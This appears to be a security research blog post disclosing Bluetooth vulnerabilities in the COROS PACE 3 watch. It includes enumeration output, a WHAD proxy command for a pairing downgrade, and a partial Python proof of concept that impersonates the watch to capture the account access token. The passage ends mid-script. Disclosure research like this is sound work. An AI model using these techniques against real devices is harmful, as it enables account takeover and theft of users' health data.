Posts Watch Out! Bluetooth Analysis of the COROS PACE 3
Post
Cancel

Watch Out! Bluetooth Analysis of the COROS PACE 3

In this blog post, we describe the Bluetooth analysis of the COROS PACE 3 sports watch and the security vulnerabilities we found during this research.

TL;DR

During the analysis of COROS PACE 3 Bluetooth security, we found several significant vulnerabilities allowing an unauthenticated attacker within the Bluetooth range to perform the following actions:

  • Hijacking the vicitim’s COROS account and accessing all data
  • Eavesdropping sensitive data, e.g. notifications
  • Manipulating the device configuration
  • Factory resetting the device
  • Crashing the device
  • Interrupting a running activity and forcing the recorded data to be lost

We also noticed security-relevant differences between the COROS iOS and Android app.

An illustration of the found attack scenarios is given below:

Wireless attack scenarios Wireless attack scenarios

Intro

Sport watches like the COROS PACE 3 have become indispensable tools for athletes of all levels. Unlike conventional smartwatches, these devices are used as personal performance labs – continuously collecting and processing key metrics related to training, recovery, and overall athletic readiness.

The collected data is used by athletes to fine-tune their routines, monitor progress, and adapt strategies in real time. While this may sound like a luxury for casual runners, it’s absolutely essential for professionals. In high-stakes competition, every second counts and real-time data on pace, heart rate, and exertion can make the difference between winning and falling short.

Given how central these devices have become in training and race, it’s worth asking: How secure are they?

The COROS PACE 3 is a widely used example of a modern sports watch trusted by elite athletes. But as part of a recent research project, we wanted to take a closer look at the other side of the medal: its security.

We focused our attention on the Bluetooth communication between the watch and connected devices. Specifically, we wanted to understand what an attacker could realistically do while being in close proximity to the watch – without any direct physical access.

Could sensitive health data be intercepted? Could ongoing workouts be disrupted or manipulated remotely? And how resilient is the watch’s wireless communication to unauthorized access?

So let’s dive in.

Architecture

The architecture behind the COROS PACE 3 ecosystem is relatively straightforward.

At its core, the watch communicates with the assigned mobile phone via Bluetooth Low Energy (BLE), using the COROS app available for both iOS and Android. The mobile app, in turn, connects to various back-end services over HTTP/HTTPS to sync data, manage user profiles, and retrieve additional content such as workout plans or training data.

In addition to BLE, the watch can also be configured to connect directly to a wireless network (Wi-Fi). This allows, for example, downloading firmware updates directly on the watch.

The following figure illustrates this environment:

Architecture overview Architecture overview

Bluetooth Analysis

To perform the analysis of the Bluetooth implementation and communication, we adopted various perspectives:

  • Passive sniffing of Bluetooth Low Energy (BLE) traffic
  • Active adversary-in-the-middle attacks during the initial pairing process and subsequent communication
  • Direct interaction with the watch via BLE
  • Direct interaction with the paired mobile device

For this, we mainly used tools such as WHAD, Mirage, bumble or Sniffle, along with classic Bluetooth USB dongles and the nRF52840 development kit.

In the further course of the analysis, we also developed individual proof-of-concept scripts.

As soon as the COROS PACE 3 is powered on, it begins advertising itself over Bluetooth with the following services:

  • Complete Local Name: COROS PACE 3 7A8F48
  • Battery Service (UUID16: 0x180f)
  • Device Information (UUID16: 0x180a)
  • Unknown (UUID16: 0xfee7)

This advertising occurs whenever no device is connected to the watch. In other words, as soon as the paired mobile phone disconnects – even temporarily – the watch resumes advertising and allows incoming BLE connections from any nearby device. This makes it possible to interact with – or potentially attack – the watch without needing to unpair or reset it first.

Services & characteristics

Once a connection is established to the COROS PACE 3 via BLE, we can enumerate the available GATT services and their associated characteristics, along with their permissions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
$ mirage "ble_connect|ble_discover" ble_connect1.TARGET=F7:AF:1D:27:03:B0 ble_discover2.WHAT=all

[INFO] Module ble_connect loaded !
[INFO] Module ble_discover loaded !
[SUCCESS] HCI Device (hci0) successfully instanciated !
[INFO] Trying to connect to : F7:AF:1D:27:03:B0 (type : public)
[INFO] Updating connection handle : 2048
[SUCCESS] Connected on device : F7:AF:1D:27:03:B0
[INFO] Services discovery ...

┌Services──────┬────────────┬────────┬──────────────────────────────────┬───────────────────────────┐
│ Start Handle │ End Handle │ UUID16 │ UUID128                          │ Name                      │
├──────────────┼────────────┼────────┼──────────────────────────────────┼───────────────────────────┤
│ 0x0001       │ 0x0005     │ 0x1800 │ 0000180000001000800000805f9b34fb │ Generic Access            │
│ 0x0006       │ 0x0006     │ 0x1801 │ 0000180100001000800000805f9b34fb │ Generic Attribute         │
│ 0x0007       │ 0x000a     │ 0x180f │ 0000180f00001000800000805f9b34fb │ Battery Service           │
│ 0x000b       │ 0x0013     │ 0x180a │ 0000180a00001000800000805f9b34fb │ Device Information        │
│ 0x0014       │ 0x0019     │        │ 6e400001b5a3f393e0a977656c6f6f70 │                           │
│ 0x001a       │ 0x001f     │        │ 6e400001b5a3f393e0a9e50e24dcca9e │                           │
│ 0x0020       │ 0x0025     │        │ 6e400001b5a3f393e0a977757c7f7f70 │                           │
│ 0x0026       │ 0x0029     │ 0x180d │ 0000180d00001000800000805f9b34fb │ Heart Rate                │
│ 0x002a       │ 0x0032     │ 0xfee7 │ 0000fee700001000800000805f9b34fb │                           │
│ 0x0033       │ 0x0038     │ 0x1814 │ 0000181400001000800000805f9b34fb │ Running Speed and Cadence │
│ 0x0039       │ 0x003c     │ 0x3802 │ 0000380200001000800000805f9b34fb │                           │
└──────────────┴────────────┴────────┴──────────────────────────────────┴───────────────────────────┘
[INFO] Characteristics by service discovery ...

┌Service 'Generic Access'(start Handle = 0x0001 / end Handle = 0x0005)──────────┬─────────────┬─────────────┬─────────────────────┬─────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name        │ Permissions │ Value               │ Descriptors │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼─────────────┼─────────────┼─────────────────────┼─────────────┤
│ 0x0002             │ 0x0003       │ 0x2a00 │ 00002a0000001000800000805f9b34fb │ Device Name │ Read        │ COROS PACE 3 7A8F48 │             │
│ 0x0004             │ 0x0005       │ 0x2a01 │ 00002a0100001000800000805f9b34fb │ Appearance  │ Read        │ c100                │             │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴─────────────┴─────────────┴─────────────────────┴─────────────┘

┌Service 'Generic Attribute'(start Handle = 0x0006 / end Handle = 0x0006)───┬───────┬─────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128 │ Name │ Permissions │ Value │ Descriptors │
└────────────────────┴──────────────┴────────┴─────────┴──────┴─────────────┴───────┴─────────────┘

┌Service 'Battery Service'(start Handle = 0x0007 / end Handle = 0x000a)─────────┬───────────────┬─────────────┬───────┬────────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name          │ Permissions │ Value │ Descriptors                                │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼───────────────┼─────────────┼───────┼────────────────────────────────────────────┤
│ 0x0008             │ 0x0009       │ 0x2a19 │ 00002a1900001000800000805f9b34fb │ Battery Level │ Notify,Read │ 0     │ Client Characteristic Configuration : 0100 │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴───────────────┴─────────────┴───────┴────────────────────────────────────────────┘

┌Service 'Device Information'(start Handle = 0x000b / end Handle = 0x0013)──────┬──────────────────────────┬─────────────┬──────────────┬─────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name                     │ Permissions │ Value        │ Descriptors │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────────────────────────┼─────────────┼──────────────┼─────────────┤
│ 0x000c             │ 0x000d       │ 0x2a24 │ 00002a2400001000800000805f9b34fb │ Model Number String      │ Read        │ COROS W331   │             │
│ 0x000e             │ 0x000f       │ 0x2a25 │ 00002a2500001000800000805f9b34fb │ Serial Number String     │ Read        │ 1D27038D20ED │             │
│ 0x0010             │ 0x0011       │ 0x2a27 │ 00002a2700001000800000805f9b34fb │ Hardware Revision String │ Read        │ W31AC29189   │             │
│ 0x0012             │ 0x0013       │ 0x2a28 │ 00002a2800001000800000805f9b34fb │ Software Revision String │ Read        │ V 3.0808.0   │             │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────────────────────────┴─────────────┴──────────────┴─────────────┘

┌Service 6e400001b5a3f393e0a977656c6f6f70(start Handle = 0x0014 / end Handle = 0x0019)─┬────────────────────────┬───────┬────────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name │ Permissions            │ Value │ Descriptors                                │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────┼────────────────────────┼───────┼────────────────────────────────────────────┤
│ 0x0015             │ 0x0016       │        │ 6e400003b5a3f393e0a977656c6f6f70 │      │ Notify,Read            │       │ Client Characteristic Configuration : 0100 │
│ 0x0018             │ 0x0019       │        │ 6e400002b5a3f393e0a977656c6f6f70 │      │ Write Without Response │       │                                            │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────┴────────────────────────┴───────┴────────────────────────────────────────────┘

┌Service 6e400001b5a3f393e0a9e50e24dcca9e(start Handle = 0x001a / end Handle = 0x001f)─┬────────────────────────┬───────┬────────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name │ Permissions            │ Value │ Descriptors                                │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────┼────────────────────────┼───────┼────────────────────────────────────────────┤
│ 0x001b             │ 0x001c       │        │ 6e400003b5a3f393e0a9e50e24dcca9e │      │ Notify,Read            │       │ Client Characteristic Configuration : 0100 │
│ 0x001e             │ 0x001f       │        │ 6e400002b5a3f393e0a9e50e24dcca9e │      │ Write Without Response │       │                                            │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────┴────────────────────────┴───────┴────────────────────────────────────────────┘

┌Service 6e400001b5a3f393e0a977757c7f7f70(start Handle = 0x0020 / end Handle = 0x0025)─┬────────────────────────┬───────┬────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name │ Permissions            │ Value │ Descriptors                            │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────┼────────────────────────┼───────┼────────────────────────────────────────┤
│ 0x0021             │ 0x0022       │        │ 6e400003b5a3f393e0a977757c7f7f70 │      │ Notify,Read            │       │ Client Characteristic Configuration :  │
│ 0x0024             │ 0x0025       │        │ 6e400002b5a3f393e0a977757c7f7f70 │      │ Write Without Response │       │                                        │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────┴────────────────────────┴───────┴────────────────────────────────────────┘

┌Service 'Heart Rate'(start Handle = 0x0026 / end Handle = 0x0029)──────────────┬────────────────────────┬─────────────┬───────┬────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name                   │ Permissions │ Value │ Descriptors                            │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼────────────────────────┼─────────────┼───────┼────────────────────────────────────────┤
│ 0x0027             │ 0x0028       │ 0x2a37 │ 00002a3700001000800000805f9b34fb │ Heart Rate Measurement │ Notify      │       │ Client Characteristic Configuration :  │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴────────────────────────┴─────────────┴───────┴────────────────────────────────────────┘

┌Service 0000fee700001000800000805f9b34fb(start Handle = 0x002a / end Handle = 0x0032)─┬──────────────────────┬──────────────┬────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name │ Permissions          │ Value        │ Descriptors                            │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────┼──────────────────────┼──────────────┼────────────────────────────────────────┤
│ 0x002b             │ 0x002c       │ 0xfea1 │ 0000fea100001000800000805f9b34fb │      │ Indicate,Notify,Read │ 01000000     │ Client Characteristic Configuration :  │
│ 0x002e             │ 0x002f       │ 0xfea2 │ 0000fea200001000800000805f9b34fb │      │ Indicate,Write,Read  │ 01102700     │ Client Characteristic Configuration :  │
│ 0x0031             │ 0x0032       │ 0xfec9 │ 0000fec900001000800000805f9b34fb │      │ Read                 │ f7af1d2703b0 │                                        │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────┴──────────────────────┴──────────────┴────────────────────────────────────────┘

┌Service 'Running Speed and Cadence'(start Handle = 0x0033 / end Handle = 0x0038)─────────────────┬─────────────┬───────┬────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name            │ Permissions │ Value │ Descriptors                            │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼─────────────────┼─────────────┼───────┼────────────────────────────────────────┤
│ 0x0034             │ 0x0035       │ 0x2a53 │ 00002a5300001000800000805f9b34fb │ RSC Measurement │ Notify      │       │ Client Characteristic Configuration :  │
│ 0x0037             │ 0x0038       │ 0x2a54 │ 00002a5400001000800000805f9b34fb │ RSC Feature     │ Read        │       │                                        │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴─────────────────┴─────────────┴───────┴────────────────────────────────────────┘

┌Service 0000380200001000800000805f9b34fb(start Handle = 0x0039 / end Handle = 0x003c)─┬───────────────────┬───────┬────────────────────────────────────────┐
│ Declaration Handle │ Value Handle │ UUID16 │ UUID128                          │ Name │ Permissions       │ Value │ Descriptors                            │
├────────────────────┼──────────────┼────────┼──────────────────────────────────┼──────┼───────────────────┼───────┼────────────────────────────────────────┤
│ 0x003a             │ 0x003b       │ 0x4a02 │ 00004a0200001000800000805f9b34fb │      │ Notify,Write,Read │       │ Client Characteristic Configuration :  │
└────────────────────┴──────────────┴────────┴──────────────────────────────────┴──────┴───────────────────┴───────┴────────────────────────────────────────┘

One of the first notable observations is that the watch allows accessing all exposed characteristics without requiring the connecting device to be paired or bonded.

This in turn has the following effects:

  • A nearby attacker can connect to the watch whenever it is not connected to the paired mobile phone, and freely interact with all available services and characteristics.
  • If the mobile phone or COROS app does not enforce pairing and bonding, the BLE communication on its physical layer is not encrypted and can be sniffed.

In essence, the lack of mandatory pairing creates an attack surface – one that could be exploited with minimal effort, especially in public or semi-public environments like gyms, races, or public transport.

Pairing & bonding

After confirming that the COROS PACE 3 does not enforce Bluetooth pairing or bonding, we took a closer look at the actual communication between the watch and a connected mobile phone.

The key question we wanted to answer was:

Is the communication properly authenticated and encrypted?

Bluetooth includes several built-in security mechanisms, such as authentication and encryption.1 So by analyzing the communication between the COROS PACE 3 and the mobile app, we wanted to determine whether the COROS implementation actually leverages these security features effectively in practice.

Authentication

To determine the IO capabilities of the watch, we connected and initiated pairing and bonding via bluetoothctl:

1
2
3
4
5
6
7
8
9
[bluetooth]# connect F7:AF:1D:27:03:B0
Attempting to connect to F7:AF:1D:27:03:B0
[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Connected: yes
[COROS PACE 3 7A8F48]# Connection successful
[COROS PACE 3 7A8F48]# pair
Attempting to pair with F7:AF:1D:27:03:B0
[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Bonded: yes
[COROS PACE 3 7A8F48]# [CHG] Device F7:AF:1D:27:03:B0 Paired: yes
[COROS PACE 3 7A8F48]# Pairing successful

During this process, the pairing can be observed within Wireshark as shown below:

Pairing with the COROS PACE 3 Pairing with the COROS PACE 3

To our surprise, the COROS PACE 3 identifies itself as having no IO capabilities, despite the fact that it clearly features a display and physical buttons.

According to the Bluetooth specification, this classification forces the use of the Just Works pairing method, which does not provide protection against adversary-in-the-middle (AITM) attacks.

The following image shows the mapping of the pairing methods based on the IO capabilities:

BLE IO mapping BLE IO mapping (Source: Nordic Semi DevAcademy)

Furthermore, the COROS PACE 3 does not support Bluetooth Secure Connections, which is a more secure pairing method introduced in Bluetooth 4.2.

As a result, the watch does not use Elliptic-Curve Diffie-Hellman (ECDH) for key exchange. Instead, it falls back to the older (legacy) pairing method based on Short-Term Keys (STK), which relies on a temporary key that is either known or easily guessable.

This makes the pairing process vulnerable to eavesdropping and key extraction, especially when combined with the Just Works IO model described earlier.

iOS

The following image shows, how a new watch can be added within the COROS iOS app.

Pairing menu in the COROS iOS app Pairing menu in the COROS iOS app

Once the user selects the device, the app establishes a BLE connection to the watch. Shortly after, several GATT characteristics are read and written, followed by an AuthReq (Authentication Request) message from the watch. This triggers the iOS BLE pairing process.

As described in the previous section, the COROS PACE 3 enforces Legacy Pairing using the Just Works method.

Besides classic adversary-in-the-middle attacks against the Legacy Pairing, we also observed that the pairing process is not strictly required for the assignment to succeed. In practice, if the AuthReq is dropped during the initial setup, the pairing fails silently – yet the app still gains access to read and write the watch’s BLE characteristics (see also Services & characteristics).

This opens the door for downgrade attacks, where an attacker prevents secure pairing from completing and forces the devices into unencrypted communication. Tools like WHAD make executing such attacks straightforward:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
$ wble-proxy -i hci3 -p hci2 F7:AF:1D:27:03:0E
Scanning for target device (timeout: 30 seconds)...
Proxy is ready, press a key to stop.
Remote device connected
[!] Subscribed to notification for charac. 2A19
[!] Subscribed to notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70
[!] Subscribed to notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e
[!] Subscribed to notification for charac. 6e400003-b5a3-f393-e0a9-77757c7f7f70
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: A5 00 00 23 8B D3 BD 2A  BC 32 15 08 03 00 0E 01  ...#...*.2......
00000010: 02 00 80 07                                       ....
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: A5 00 31 8D 03 27 1D AF  F7 85 00 0D 0E 08 81 01  ..1..'..........
00000010: 4C 00 82 A3                                       L...
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: 0D 00 09 01 00 0A                                 ......
>>> Characteristic 2A28 read
00000000: 56 20 33 2E 30 38 30 38  2E 30                    V 3.0808.0
>>> Characteristic 2A25 read
00000000: 31 44 32 37 30 33 38 44  32 30 45 44              1D27038D20ED
>>> Characteristic 2A27 read
00000000: 57 33 31 41 43 32 39 31  38 39                    W31AC29189
>>> Characteristic 2A24 read
00000000: 43 4F 52 4F 53 20 57 33  33 31                    COROS W331
>>> Characteristic 2A19 read
00000000: 49                                                I
>>> Characteristic 2A28 read
00000000: 56 20 33 2E 30 38 30 38  2E 30                    V 3.0808.0
>>> Characteristic 2A24 read
00000000: 43 4F 52 4F 53 20 57 33  33 31                    COROS W331
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: 0D 00                                             ..
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: A7 00 00 0D 0D                                    .....
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: 7C 00 0C 00 00 00 00 00  2B BC 32 15 08 03 45     |.......+.2...E
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: A7 01 00 04 85 00 0D 0E  0D 0F 00 01 04 0C 01 02  ................
00000010: 10 08 81 01                                       ....
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: A7 00 00 50 81 01 00 40                           ...P...@
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: 7C 01 00 30 F9 00 00 10  4B 24 00 00 D3 03 00 14  |..0....K$......
00000010: 3C 0C 00 00                                       <...
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: B0 00 00 02 04 06                                 ......
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-77656c6f6f70:
00000000: 7C 00 00 DA                                       |...
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: EF 03 A5 5A 00 02 01 01  00 00 00 04 02 09 D2 4F  ...Z...........O
00000010: 69 10 B9 B0                                       i...
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: 78 00 54 00 00 00 00 10  00 10 00 00 00 48 C9 66  x.T..........H.f
00000010: EB                                                .
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: 31 15 55 70 6C 6F 61 64  3A 4C 6F 67 52 3A 45 72  1.Upload:LogR:Er
00000010: 61 73 65 3A                                       ase:
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: 53 69 7A 65 3D 65 38 30  2F 30 20 4F 66 66 73 65  Size=e80/0 Offse
00000010: 74 3D 30 20                                       t=0
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: 43 4E 54 3D 31 20 53 50  44 3D 38 2E 32 35 20 42  CNT=1 SPD=8.25 B
00000010: 4C 45 3D 31                                       LE=1
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: 32 2F 32 34 30 2F 31 00  89 08 F5 B0 31 15 42 4C  2/240/1.....1.BL
00000010: 45 3A 63 6F                                       E:co
>>> Characteristic 6e400002-b5a3-f393-e0a9-77656c6f6f70 written
00000000: 7C 00 36 00 00 00 00 00  2E BC 32 15 08 03 72     |.6.......2...r
<<< [!] Notification for charac. 6e400003-b5a3-f393-e0a9-e50e24dcca9e:
00000000: 6E 6E 5F 70 61 72 61 6D  3A 31 2C 30 2C 31 32 2C  nn_param:1,0,12,
00000010: 32 35 2C 35                                       25,5

In summary, the security of the BLE communication between the COROS PACE 3 and the iOS app depends on the integrity of the initial pairing process. If an attacker is nearby during inital setup, they can intercept, downgrade, or manipulate the pairing process.

Android

In theory, the same pairing vulnerabilities observed with the COROS iOS app should also apply when using the Android version. However, in practice, things turned out to be quite different.

Although the overall setup process appears nearly identical from a user perspective, we observed a key technical difference: When pairing with an Android device, the watch does not send an AuthReq, meaning that no pairing or bonding is initiated at all.

By analyzing the BLE traffic during setup, we identified that the watch differentiates between Android and iOS clients based on how the mobile application identifies itself during the initial connection:

1
2
3
4
5
6
# Data written to 6e400002-b5a3-f393-e0a9-77656c6f6f70 by the Android app:
00000000: 8b00 af49 a868 4c00 008c 0200 0008 0700  ...I.hL.........
00000010: 0095 9da8 af84 ffff ffff ff00 40a0 347a  ............@.4z
00000020: f07b 0630 3330 3339 3700 0000 0000 0000  .{.030397.......
00000030: 0000 0000 0000 83b9 3717 0006 0000 0000  ........7.......
00000040: 0000 0020 0000 0000 00de                 ... ......
1
2
3
4
5
6
# Data written to 6e400002-b5a3-f393-e0a9-77656c6f6f70 by the iOS app:
00000000: 8b00 af49 a800 0000 008c 0200 0008 0700  ...I............
00000010: 0095 9da8 af84 ffff ffff ff00 40a0 347a  ............@.4z
00000020: f07b 0669 5068 6f6e 6500 0000 0000 0000  .{.iPhone.......
00000030: 0000 0000 0000 83b9 3717 0006 0080 a53c  ........7......<
00000040: ad00 0020 0080 a53c ad73                 ... ...<.s

Depending on this identification, the watch adapts its behavior:

  • When an iOS device initiates the setup, the watch triggers the BLE pairing process by sending an AuthReq, aiming to establish a bonded connection.
  • When an Android device is used, this step is completely skipped – no AuthReq is sent, and no pairing or bonding takes place.

This behavior significantly worsens the overall security posture.

Without pairing, the communication between the Android app and the watch is neither encrypted nor authenticated.

As a result, an attacker does not need to be present during the first-time use. Any ongoing BLE connection between an Android phone and the watch can be intercepted, sniffed, or tampered with, making attacks far more practical and harder to detect.

So why does the COROS PACE 3 enforce pairing and bonding on iOS, but not on Android?

We assume this behavior is related to how iOS handles Bluetooth notifications. In Apple’s Bluetooth stack, notifications from a mobile device (such as call or message alerts) can only be delivered to a BLE peripheral if the devices are bonded. This security requirement is enforced at the operating system level.

The following screenshot shows the iOS Bluetooth settings where notification options for a paired device only appear after a successful bonding process:

iOS notification settings for paired and bonded devices iOS notification settings for paired and bonded devices

On Android, however, these system-level restrictions do not exist in the same form. Apps can typically manage BLE notifications without requiring a bonded connection. As a result, the COROS app on Android skips the pairing process entirely whether for convenience or due to differences in implementation.

Bonus: Even if the COROS PACE 3 is manually paired and bonded on an Android device using third-party tools like nRF Connect, this has no impact on how the official COROS app communicates with the watch.

The app continues communicating unencrypted by directly reading from and writing to BLE characteristics, as if no pairing had occurred at all.

The following image shows the bonded state of the COROS PACE 3 within the nRF Connect app.

COROS PACE 3 bonded via nrf Connect COROS PACE 3 bonded via nrf Connect

COROS account takeover

While taking a closer look the the actual BLE communication between the app and the COROS PACE 3, we noticed that several sensitive data is transmitted from the phone to the watch every time it gets connected.

One example is the API key (accessToken) associated with the logged-in user account in the COROS app. This key is used to authenticate against the COROS back-end services and grants access to critical features such as uploading and downloading training data, managing user preferences, and modifying account information.

So besides the already described adversary-in-the-middle attacks, we developed a tool to emulate a fake COROS watch with the goal to steal this API key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
from whad.ble import Peripheral
from whad.ble.profile.advdata import AdvCompleteLocalName, AdvDataFieldList, AdvFlagsField, AdvLeSupportedFeatures
from whad.ble.profile.attribute import UUID
from whad.device import WhadDevice
from time import sleep
import sys
from struct import pack, unpack
from whad.ble.profile import PrimaryService, Characteristic, GenericProfile, read, write
from whad.ble.stack.smp import Pairing
from whad.common.monitors import WiresharkMonitor
import binascii
from hexdump import hexdump


# Define your custom profile
class coros_dev(GenericProfile):


    # Generic Access
    s_generic_access = PrimaryService(
        uuid=UUID(0x1800),

        device_name = Characteristic(
            uuid=UUID(0x2A00),
            permissions = ['read'],
            value=b'COROS PACE 3 7A8F48'
        ),
    )


    # Battery Service
    s_battery = PrimaryService(
        uuid=UUID(0x180f),

        battery_level = Characteristic(
            uuid=UUID(0x2a19),
            permissions = ['read'],
            notify = True,
            value=pack('B', 100)
        ),
    )


    # Device Information
    s_dev_info = PrimaryService(
        uuid=UUID(0x180a),

        model = Characteristic(
            uuid=UUID(0x2a24),
            permissions = ['read'],
            Security = True,
            value=b'COROS W331'
        ),

        serial = Characteristic(
            uuid=UUID(0x2a25),
            permissions = ['read'],
            value=b'1D27038D20ED'
        ),

        hw_rev = Characteristic(
            uuid=UUID(0x2a27),
            permissions = ['read'],
            value=b'W31AC29189'
        ),

        sw_rev = Characteristic(
            uuid=UUID(0x2a28),
            permissions = ['read'],
            value=b'V 3.0708.0'
        ),
    )


    # 6e400001b5a3f393e0a977656c6f6f70
    s_6f70 = PrimaryService(
        uuid=UUID(0x6e400001b5a3f393e0a977656c6f6f70),

        c_f6f70_read = Characteristic(
            uuid=UUID(0x6e400003b5a3f393e0a977656c6f6f70),
            permissions = ['read'],
            notify = True
        ),

        c_f6f70_write = Characteristic(
            uuid=UUID(0x6e400002b5a3f393e0a977656c6f6f70),
            permissions = ['write_without_response']
        ),
    )


    # 6e400001b5a3f393e0a9e50e24dcca9e
    s_ca9e = PrimaryService(
        uuid=UUID(0x6e400001b5a3f393e0a9e50e24dcca9e),

        c_ca9e_read = Characteristic(
            uuid=UUID(0x6e400003b5a3f393e0a9e50e24dcca9e),
            permissions = ['read'],
            notify = True,
            value=pack('B', 100)
        ),

        c_ca9e_write = Characteristic(
            uuid=UUID(0x6e400002b5a3f393e0a9e50e24dcca9e),
            permissions = ['write_without_response']
        ),
    )


    # 6e400001b5a3f393e0a977757c7f7f70
    s_7f70 = PrimaryService(
        uuid=UUID(0x6e400001b5a3f393e0a977757c7f7f70),

        c_7f70_read = Characteristic(
            uuid=UUID(0x6e400003b5a3f393e0a977757c7f7f70),
            permissions = ['read'],
            notify = True
        ),

        c_7f70_write = Characteristic(
            uuid=UUID(0x6e400002b5a3f393e0a977757c7f7f70),
            permissions = ['write_without_response']
        ),
    )


    # Heart Rate
    s_heart = PrimaryService(
        uuid=UUID(0x180d),

        hrm = Characteristic(
            uuid=UUID(0x2a37),
            permissions = [''],
            notify = True,
            value=pack('B', 100)
        ),
    )


    @write(s_6f70.c_f6f70_write)
    def on_c_f6f70_write(self, offset, length, without_response):
        recv = binascii.hexlify(self.s_6f70.c_f6f70_write.value)
        if debug == True:
            hexdump(binascii.unhexlify(recv))
        if recv[:4] == b'a500':
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("A500318D03271DAFF785240D4EB07E014C0098C2") 
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("0D000901000A")

        if recv[:4] == b'b000':
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("B0000100170001020304050608090A260B0C0D0E101112141A1C1E1F011455565762656A4A5A707172735074777576787900021480804E09E1FFF66FF5FF75BE0C1FDEF43D010000040202003F")

        if recv[:4] == b'8b00':
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("8B000101")

        if recv[:4] == b'a600':
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("A6000101")

        if recv[:4] == b'b200':
            print("Access key received:")
            hexdump(binascii.unhexlify(recv))
            self.s_6f70.c_f6f70_read.value = bytes.fromhex("")

        return



if len(sys.argv) >= 2:
    my_profile = coros_dev()

    device = WhadDevice.create(sys.argv[1])

    debug = False

    pairing = Pairing(
